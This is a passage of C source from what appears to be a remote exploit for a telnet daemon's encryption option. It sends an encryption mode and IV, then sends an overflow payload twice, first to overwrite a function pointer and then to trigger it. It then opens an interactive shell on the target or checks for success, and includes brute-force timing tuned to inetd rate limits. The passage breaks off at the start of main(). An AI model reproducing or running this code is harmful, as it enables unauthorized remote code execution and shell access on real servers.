/*
* Most of the inetd impletantions have a connection limit per second
* so you must chage this if you start getting errors reading responses
* - for 60 conex per min 900000
* - for 40 conex per min 1500000
* - for no limit 300000 should work
*/
#define BRUTE_TOUT 300000
int
attack (const char *ip, unsigned int port,
unsigned char *payload, unsigned int psize, int tryshell)
{
unsigned char readbuf[256];
int ret;
int conn;
/* Open the connection */
conn = open_connection(inet_addr(ip), port);
if (conn == -1) {
printf("Error connecting: %i\n", errno);
return -1;
}
/* Read initial server request */
ret = read(conn, readbuf, 256);
if (ret <= 0)
{
printf ("[!] Error receiving response: %s\n",
ret ? strerror (errno) : "empty response");
close (conn);
return -1;
}
printf("[<] Succes reading intial server request %i bytes\n", ret);
/* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUE\n"); */
/* ret = getchar(); */
/* Send encryption and IV */
ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
if (ret != sizeof(tnet_init_enc)) {
printf("Error sending init encryption: %i\n", ret);
close (conn);
return -1;
}
printf("[>] Telnet initial encryption mode and IV sent\n");
/* Read response */
if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
{
printf ("[!] Timeout when receiving response\n");
close (conn);
return -1;
}
else
printf("[<] Server response: %i bytes read\n", ret);
/* Send the first payload with the overflow */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload first time\n");
close (conn);
return -1;
}
printf("[>] First payload to overwrite function pointer sent\n");
/* Read Response */
if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
{
printf ("[!] Timeout when receiving response\n");
close (conn);
return -1;
}
else
printf("[<] Server response: %i bytes read\n", ret);
/* Send the payload again to tigger the function overwrite */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload second time\n");
close (conn);
return -1;
}
printf("[>] Second payload to triger the function pointer\n");
if (tryshell)
{
/* Start the semi interactive shell */
printf("[*] got shell?\n");
shell(conn);
ret = 0;
}
else
{
printf ("[*] Does this work? ");
/* Just check if it works */
if (checkmagic (conn) == 0)
{
printf ("YES!!!\n");
printf ("Add the Target address to the targets list & recomple!!!\n");
ret = 0;
}
else
{
printf ("nope :(\n");
ret = -1;
}
}
close (conn);
return ret;
}
int main(int argc, char *argv[])
{
int offset = 0;
int target;
int i;
unsigned int address;
